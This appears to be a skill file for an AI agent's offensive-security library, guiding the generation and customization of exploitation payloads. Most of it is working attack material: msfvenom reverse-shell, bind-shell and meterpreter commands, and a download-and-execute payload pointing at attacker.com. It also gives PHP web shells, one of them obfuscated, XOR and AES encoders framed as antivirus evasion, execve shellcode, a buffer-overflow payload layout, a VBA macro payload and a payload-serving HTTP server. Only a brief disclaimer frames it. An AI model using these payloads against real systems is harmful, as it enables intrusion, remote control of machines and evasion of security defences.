| name | Payload Generation and Customization |
| description | Techniques for creating and adapting payloads for various exploitation scenarios, target environments, and evasion requirements |
| when_to_use | During exploit development, when customizing payloads for specific targets, bypassing security controls, or optimizing payload size and stealth |
| version | 1.0.0 |
| languages | python, assembly, shellcode |
Payload Generation and Customization
Overview
Payload generation creates the code that executes on target systems after successful exploitation. Effective payloads must work within constraints (bad characters, size limits), evade detection, and achieve objectives reliably. This skill covers payload types, generation techniques, encoding, and customization.
Core principle: Start with standard payloads, customize for target constraints, test thoroughly in safe environment.
Payload Types
Shell Payloads
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.1 \
LPORT=4444 \
-f python
msfvenom -p linux/x64/shell_bind_tcp \
LPORT=4444 \
-f c
msfvenom -p windows/meterpreter/reverse_tcp ...
msfvenom -p windows/meterpreter_reverse_tcp ...
Command Execution
msfvenom -p linux/x64/exec \
CMD="id" \
-f raw
msfvenom -p windows/x64/download_exec \
URL=http://attacker.com/payload.exe \
-f exe
Web Shells
<?php system($_GET['cmd']); ?>
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?>
<?php
$a = str_rot13('flfgrz');
$b = $_GET['c'];
$a($b);
?>
Encoding and Evasion
Bad Character Avoidance
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 \
-b '\x00\x0a\x0d' \
-f python
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 \
-e x86/shikata_ga_nai \
-i 5 \
-f exe
Custom Encoders
def xor_encode(shellcode, key=0x42):
encoded = b""
for byte in shellcode:
encoded += bytes([byte ^ key])
return encoded
decoder_stub = b"""
xor ecx, ecx
mov cl, <length>
lea esi, [shellcode]
decode_loop:
xor byte [esi], 0x42
inc esi
loop decode_loop
jmp shellcode
"""
AV Evasion Techniques
from Crypto.Cipher import AES
def encrypt_payload(payload, key):
cipher = AES.new(key, AES.MODE_CBC)
return cipher.encrypt(payload)
Custom Shellcode
Writing Assembly
; Linux x64 execve("/bin/sh")
section .text
global _start
_start:
xor rax, rax
push rax ; null terminator
mov rbx, 0x68732f6e69622f ; "/bin/sh" in reverse
push rbx
mov rdi, rsp ; rdi = pointer to "/bin/sh"
push rax
push rdi
mov rsi, rsp ; rsi = ["/bin/sh", NULL]
mov rdx, rax ; rdx = NULL
mov al, 59 ; syscall number for execve
syscall
nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode
objdump -d shellcode | grep '[0-9a-f]:' | cut -f2 -d: | cut -f1-7 -d' '
Shellcode Optimization
print(f"Shellcode size: {len(shellcode)} bytes")
if b'\x00' in shellcode:
print("Warning: Null bytes detected!")
Multi-Stage Payloads
stage1 = b"""
; Connect back to attacker
; Receive stage 2
; Execute stage 2
"""
Payload Delivery Methods
In Exploits
offset = 268
payload = b"A" * offset
payload += p64(return_address)
payload += shellcode
Via Files
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 \
-f vba \
> malicious_macro.vba
Over Network
import http.server
class PayloadHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/payload':
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
self.wfile.write(payload)
Testing Payloads
nc -lvnp 4444
./exploit target_ip
Tool Ecosystem
Generation:
- msfvenom (Metasploit)
- custom shellcode writing
Encoding:
- msfvenom encoders
- Custom encoders in Python
Testing:
- MSF payload testing modules
- Custom test harnesses
Common Pitfalls
| Mistake | Impact | Solution |
|---|
| Not checking bad characters | Payload corrupted | Test and encode properly |
| Hardcoding addresses | Not portable | Use relative addressing |
| Ignoring payload size | Won't fit in buffer | Optimize or stage |
| Skipping testing | Payload fails in production | Test thoroughly |
| Poor OPSEC | Detection | Use evasion techniques |
Integration with Other Skills
- skills/exploitation/exploit-dev-workflow - Payload is part of exploit
- skills/exploitation/fuzzing-harness - Test payload reliability
- skills/analysis/binary-analysis - Understand target environment
Legal and Ethical Considerations
- Only generate payloads for authorized testing
- Don't distribute malicious payloads
- Understand legal implications
- Follow responsible disclosure practices
References
- Metasploit documentation
- "The Shellcoder's Handbook"
- Exploit-DB shellcode database
- Security research blogs